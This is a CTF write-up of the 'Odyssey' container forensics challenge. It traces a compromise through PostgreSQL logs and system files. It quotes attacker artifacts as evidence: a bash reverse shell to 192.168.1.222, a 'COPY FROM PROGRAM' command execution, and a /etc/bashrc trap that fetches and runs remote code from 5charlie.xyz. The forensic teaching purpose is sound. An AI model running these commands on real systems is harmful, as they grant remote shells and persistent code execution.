A write-up of the “Odyssey” container memory export forensic analysis challenge from 5Charlie CTF.
Odyssey 1 - Challenge
One of our containers has been compromised! A quick thinking sysadmin managed to export a copy of the running container. Use the archive to determine what happened.
When was the last root login for this container? (format: MMM DD HH:MM:SS, use container local time)
Odyssey 1 - Solution
Likely a terrible idea, especially given the scenario that it was “compromised”, but I began this challenge by importing it in Docker. I don’t recommend this in hindsight, but here we are.
We acquire the image ID with the following
REPOSITORY TAG IMAGE ID CREATED SIZE <none> <none> 6edaaebe2798 2 minutes ago 369MB
In this case our image ID is
6edaaebe2798, which we’ll then start up.
--rm: Remove the container immediately after it is closed
-i: Keep STDIN open
-t: Allocate a pseudo-TTY
To get the last login time, we can look to
Apr 18 06:10:06 4853fe8cb6a2 sudo: pam_unix(sudo:session): session opened for user root by (uid=0)
Apr 18 06:10:06
Odyssey 2 - Challenge
What is the IP address of the client that abused a legitimate service to access this container?
Odyssey 2 - Solution
In the previous section we saw that the only unique directories in
Let’s dig into postgres.
Skimming the file a few things look a tad peculiar, but this line in particular is a dead giveaway that a reverse shell has been dropped.
...[truncated] 2020-04-18 06:07:34.075 UTC,"ulysses","ithaca",131,"172.17.0.3:37542",5e9a9827.83,7,"idle",2020-04-18 06:03:19 UTC,3/11,0,LOG,00000,"statement: INSERT INTO scylla(t) VALUES('bash -i >& /dev/tcp/192.168.1.222/9292 0>&1');",,,,,,,,,"psql" ...
Luckily, this line also gives us the flag.
Odyssey 3 - Challenge
What is the name of the postgres user on this container?
Odyssey 3 - Solution
Continuing from the previous section, and assuming you’re in the docker container like I was.
-rw------- 1 postgres postgres 8357 Apr 18 06:11 postgresql-2020-04-18_060048.csv -rw------- 1 postgres postgres 312 Apr 18 06:00 postgresql-2020-04-18_060048.log
Odyssey 4 - Challenge
What is the name of the first table the malicious client created?
Odyssey 4 - Solution
Let’s just look for it in the log we found earlier.
We see our solution near the top
2020-04-18 06:07:34.049 UTC,"ulysses","ithaca",131,"172.17.0.3:37542",5e9a9827.83,6,"idle",2020-04-18 06:03:19 UTC,3/10,0,LOG,00000,"statement: CREATE TABLE scylla (t TEXT);",,,,,,,,,"psql"
Odyssey 5 - Challenge
What is the full path of the file created through postgres on the host?
Odyssey 5 - Solution
It’s incredibly nice that this log is so short and we can just visually observe.
2020-04-18 06:08:06.051 UTC,"ulysses","ithaca",131,"172.17.0.3:37542",5e9a9827.83,11,"idle",2020-04-18 06:03:19 UTC,3/15,0,LOG,00000,"statement: COPY hail_charybdis FROM PROGRAM 'bash ""/tmp/neptune.sh""';",,,,,,,,,"psql"
Odyssey 6 - Challenge
What is the IP address of the host used for initial command and control?
Odyssey 6 - Solution
2020-04-18 06:07:34.075 UTC,"ulysses","ithaca",131,"172.17.0.3:37542",5e9a9827.83,7,"idle",2020-04-18 06:03:19 UTC,3/11,0,LOG,00000,"statement: INSERT INTO scylla(t) VALUES('bash -i >& /dev/tcp/192.168.1.222/9292 0>&1');",,,,,,,,,"psql"
Odyssey 7 - Challenge
What is the full url curled by the persistence mechanism installed on this host?
Odyssey 7 - Solution
No hints in logs, so let’s look elsewhere. I usually like
ls -latr to sort by modification time for finding persistence, but it looks like everything was changed pretty close to the same time and/or timestomped.
I’m lazy, we know it performs curl, let’s just find it.
Almost immediately we receive a match on the following:
/etc/bashrc:trap 'bash <(curl -s http://5charlie.xyz/index)' 2 3
Odyssey 8 - Challenge
The curl to 5charlie.xyz is triggered by which process signals? (format: signame,signame)
Odyssey 8 - Solution
trap command executes a command when the shell receives a signal.
You can see the signals in their numeric forms in the command above.
We just need to look up a reference to understand what they correlate to, for those of us who don’t have them memorized.
...[truncated] 2 SIGINT Interrupt (CTRL-C) 3 SIGQUIT Quit
Odyssey 9 - Challenge
We’re not sure how the attacker got credentials to this system in the first place. Only the ulysses_postgres developers should have known the password and there is no evidence of brute force… Perhaps the project was exposed somewhere? Razamuhin has always been a little careless with project data. What is the postgres password?
Odyssey 9 - Solution
This one we’re not gonna find on the system. To the Internet! Google doesn’t return anything useful for “Razamuhin” at the time this was written, but let’s head to Github specifically, as that’s a common source for code hosting.
startup.sh we see the run line:
Odyssey 10 - Challenge
What is the flag hidden in the project repository?
Odyssey 10 - Solution
There’s nothing in the main directory of the repo, but in git repositories, sometimes there’s some fun stuff in the history.
c299b844c758b85de04ec55ddfa18e5d00c16f57 seems suspicious.